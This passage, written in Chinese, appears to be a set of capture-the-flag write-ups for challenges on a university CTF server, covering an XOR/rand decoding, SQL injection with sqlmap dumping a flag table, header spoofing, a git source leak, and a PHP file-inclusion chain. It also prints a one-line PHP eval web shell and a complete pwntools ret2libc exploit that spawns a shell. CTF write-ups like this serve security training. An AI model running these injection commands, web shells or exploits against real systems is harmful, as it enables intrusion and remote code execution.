for(int i=0;i<50;i++){
printf("%d,",rand()%127);
}
return 0;
}
EXP
c = [0,0x51,0x32,0x7B,0x78,0x76,0x23,0x22,0x25,0x61,0x77,0x4C,0x28,0x6D,0x37,0x67,0x2B,0xA,1,0x2C,0xE,0x34,8,0x35,0x5F,0x2C,0x3B,0x49,0x68,0x1F,0x7E,0x61,0xD,0x67,0x75,0x78,0x5E,0x6D,0x18]
srand = [83,4,97,56,44,48,88,80,68,15,19,124,69,50,90,83,82,104,100,115,96,91,63,106,44,77,93,122,55,108,49,12,104,19,68,21,59,30,101,119,37,120,116,99,36,80,55,118,49,20]
str =''
for i in range(0,39):
str += chr((c[i]^srand[i]))
print str
SUSCTF{rand0m_m4ybe_no7_saf3_sOmet1mes}
]]>
查看

得到提示 应该是注入

测试发现这里存在sql语句查询
所以用sqlmap这个工具跑一下就可以了
sqlmap.py -u “http://ctf.xjnu.edu.cn:9900/web10/index.php?id=1"

确实存在注入
sqlmap.py -u “http://ctf.xjnu.edu.cn:9900/web10/index.php?id=1" –tables

得到flag表 那我们dump出来看一下
sqlmap.py -u “http://ctf.xjnu.edu.cn:9900/web10/index.php?id=1" –dump -T flag



弹出提示 你不属于这里
猜测需要伪造访问ip

配置好burp代理
抓包伪造ip

提示未登录 修改0为1

她会提示你用的不是iphone 999
利用谷歌浏览器模拟iphone客户端

抓包

得到iPhonex的地址
修改os版本

得到flag


提示 flag就在index.php中 但是没办法查看 猜测为git泄露
使用工具githack


得到flag


发现url处存在文件包含
尝试读取upload.php源码
http://ctf.xjnu.edu.cn:666/index.php?file=php://filter/read=convert.base64-encode/resource=upload.php

Base64解密即可得到源码

发现upload目录可任意读取下载,

打开得到源码

过滤了%00
这里用到了王松师傅的思路
https://www.hackersb.cn/hacker/105.html

测试创建一个php文件
接着压缩修改后缀名为 ss.png
Exp
http://ctf.xjnu.edu.cn:666/index.php?file=zip://upload/ss.png%23he.html.php
成功执行命令

写入一句话
<?php @eval($_POST['a']); ?>

成功拿到shell

成功拿到flag
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-70h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4, 0LL); //漏洞存在点
puts("send success!");
return 0;
}
程序很简单 没有多余的流程 漏洞也很明显
检查保护
ubuntu@ubuntu:~$ checksec babypwn
[*] '/home/ubuntu/babypwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
ubuntu@ubuntu:~$
NX开启
思路:
通过溢出leak puts 从而得到libc版本 进而得到system地址及bin/sh地址
偏移计算 offset = 0x70+8
构造leak
寻找gadget
ubuntu@ubuntu:~$ ROPgadget --binary babypwn --only "pop|ret"
Gadgets information
============================================================
0x000000000040071c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040071e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400720 : pop r14 ; pop r15 ; ret
0x0000000000400722 : pop r15 ; ret
0x000000000040071b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040071f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400595 : pop rbp ; ret
0x0000000000400723 : pop rdi ; ret // 这里是我们需要的
0x0000000000400721 : pop rsi ; pop r15 ; ret
0x000000000040071d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004e1 : ret
0x00000000004005c5 : ret 0xc148
Unique gadgets found: 12
from pwn import *
p = process('./babypwn')
elf = ELF('babypwn')
puts_plt = elf.symbols['puts']
print 'puts_plt:'+hex(puts_plt)
puts_got = elf.got['puts']
print 'puts_got:'+hex(puts_got)
start_addr = 0x400550
pop_rdi=0x400723 #pop rdi ; ret
p.recvuntil("What do you plan to do?\n")
payload = 'A'*120+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
payload = 溢出偏移+pop_rdi_ret(因为64位下以寄存器传参)+给puts()赋值+循环地址(也可以是leak该puts的函数地址)
p.sendline(payload)
log.info(p.recvuntil("send success!\n"))
data = p.recvuntil('\n',drop=True)
puts = u64(data.ljust(8,'\x00'))
print hex(puts)
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
通过https://libc.blukat.me 进行查询

找到libc版本 接着获取system地址及binsh地址
system = puts -libc.symbols['puts']+libc.symbols['system']
print hex(system)
binsh = next(libc.search('/bin/sh'))
binsh = puts - libc.symbols['puts'] + binsh
payload = 'A'*120+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendline(payload)
p.interactive()
成功getshell

使用IDA打开

定位到main函数
看到一些常量

拼接 即可获得flag
]]>